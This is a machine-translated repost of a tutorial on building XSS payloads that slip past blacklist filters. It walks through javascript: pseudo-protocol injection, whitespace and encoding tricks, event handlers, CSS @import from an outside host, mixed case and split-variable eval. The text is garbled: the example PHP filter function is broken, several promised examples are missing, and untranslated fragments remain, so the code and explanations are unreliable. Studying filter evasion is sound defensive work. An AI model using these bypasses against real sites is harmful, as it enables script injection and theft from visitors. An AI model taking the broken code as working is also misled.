"Turn" XSS construction anatomy, bypassing the means of filtering

Original http://www.cnblogs.com/r00tgrok/p/3397683.html

Now suppose to write a filter function to prevent XSS attacks, it looks like this:

function Filter_xss ($string, $allowetags = ", $disabledattributes = Array (' Onbort ', ' onactive ', ' onunload ' ...) {    if(Is_array (String))        {            foreach ($string as $key = = $val)                $string [$key] =Else {$string =return $string;}       

This function is actually a blacklist, with regular expressions to the common such as: ' < ', "and other filtering, design is relatively perfect, but still can not ensure foolproof, for the reasons below:

Let's take a look at what I can do if I want to attack:

The most used <> labeled injection html/javascript

If the user can introduce the <> tag at will, then he can manipulate the HTML tag and then insert the JS malicious script through the <script> tag, for example:

<script>alert (' XSS ');</script>

Of course, if the "<>" and script are filtered, the above will not be able to execute the

No.2 using HTML Tag property values to perform XSS

Many of the attributes in the HTML markup support the form of the Javascript:[code] pseudo-protocol, which gives an opportunity to inject XSS, for example:

This can occur even if <>,XSS is filtered for incoming parameters (provided that the tag attribute requires a reference file)

No.3 Space/Carriage return/tab

Assuming that the filter function further filters out sensitive strings such as JavaScript, you can bypass JavaScript with little action, such as:

The reason why this can be successfully bypassed, in fact, is also due to the nature of JS itself: JavaScript usually ends with a semicolon, if the parsing engine can determine a statement is complete, and the end of the line with a newline character, the semicolon can be omitted

If it is not a complete statement, JavaScript continues processing until the statement completes or the semicolon

Like

Cript:

alert (/xss/); Width=100> can also bypass

No.4 transcoding of Tag attribute values

Filtering rigorous functions is likely to have strict control over the label, but if you use other forms to represent the label, the script can still parse but bypass the filter

Common encoding methods are: HTML entity encoding (& #ASCII), decimal, 16 binary, octal encoding, Unicode encoding and escape encoding and using String.fromCharCode (...) Bypass

So can implement Bypass

In addition, & #01, & #02, & #09等字符插入代码的头部或任意地方

No.5 to produce their own events

If you can't rely on attributes for cross-site, you can also take advantage of event-handling functions

<input type = "button" value = "click me" onclick= "alert (' click Me ')"/>

Events allow the JS script to run, nature can also perform cross-site, as well as onerror, onmouseover, etc. can be used by the event handler function

No.6 using CSS for cross-site profiling

CSS stylesheets are a good vector because CSS does not need to be embedded in HTML code and can be referenced directly from a file or elsewhere. In addition, the CSS is also covert, flexible, but different

Browsers cannot be common, such as:

<div style = "List-style-image:url (Javascript:alert (' XSS ')") >

<link rel = "stylesheet" href = "Http://www.xxx.com/atack.css" >

<style type = ' text/css ' > @import url (http://www.xxx.com/xss.css);</style>

<style> @import ' Javascript:alert (' XSS '); ' </style>

No.7 Disturbing filter rules

Mixed capitalization:

Filter rules can be disturbed without using quotation marks or constructing full-width characters

In addition, like CSS,/**/will be ignored by the browser, \ and the same or ignored by the browser, the same can be used to bypass:

No.8 full use of character encoding

The above-mentioned code, added here, in addition to & #ASCII, but can also be used & #0, & #00, & #000等形式, the same & #x6a的形式也是可以的

<script>eval ("\61\6c\65 ..."); <script>

If you use Eval to execute a 10-binary script, you need to use the String.fromCharCode ()

No.9 split cross-station method

Splitting a cross-site is like Shellcode, when you encounter a length limit that does not cross the station in the normal way, by introducing a variable multiple commits to connect it to achieve cross-site, for example:

<script>z= ' document. ' </script>

<script>z=+ ' Write ' ("' </script>

<script>z=z+ ' <script ' </script>

......

<script>eval (z) </script>

Other variables, such as eval (quserinfo.spacename), can be referenced in addition to multiple commits, since quserinfo.spacename is a controllable variable, so changing its value can bypass

Length Limits the

"Turn" XSS construction anatomy, bypassing the means of filtering